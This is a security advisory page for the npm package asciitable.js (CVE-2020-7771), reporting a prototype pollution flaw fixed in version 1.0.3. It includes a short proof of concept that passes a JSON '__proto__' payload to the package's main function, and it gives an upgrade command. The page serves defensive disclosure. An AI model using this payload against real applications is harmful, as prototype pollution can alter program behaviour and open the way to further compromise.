asciitable.js
Affected
- introduced
0, fixed1.0.3(semver)
Fixed versions
1.0.3
Fix
- Fixed version
1.0.3npm install [email protected]
Advisory
Also known as: CVE-2020-7771, SNYK-JS-ASCIITABLEJS-1039799
Prototype Pollution in asciitable.js
The package asciitable.js before 1.0.3 is vulnerable to Prototype Pollution via the main function.
PoC
var a = require("asciitable.js");
var b = JSON.parse('{"__proto__":{"test":123}}');
a({},b);
console.log({}.test)Critical Basis: The source's own band: CRITICAL
0, fixed 1.0.3 (semver)1.0.3
1.0.3npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0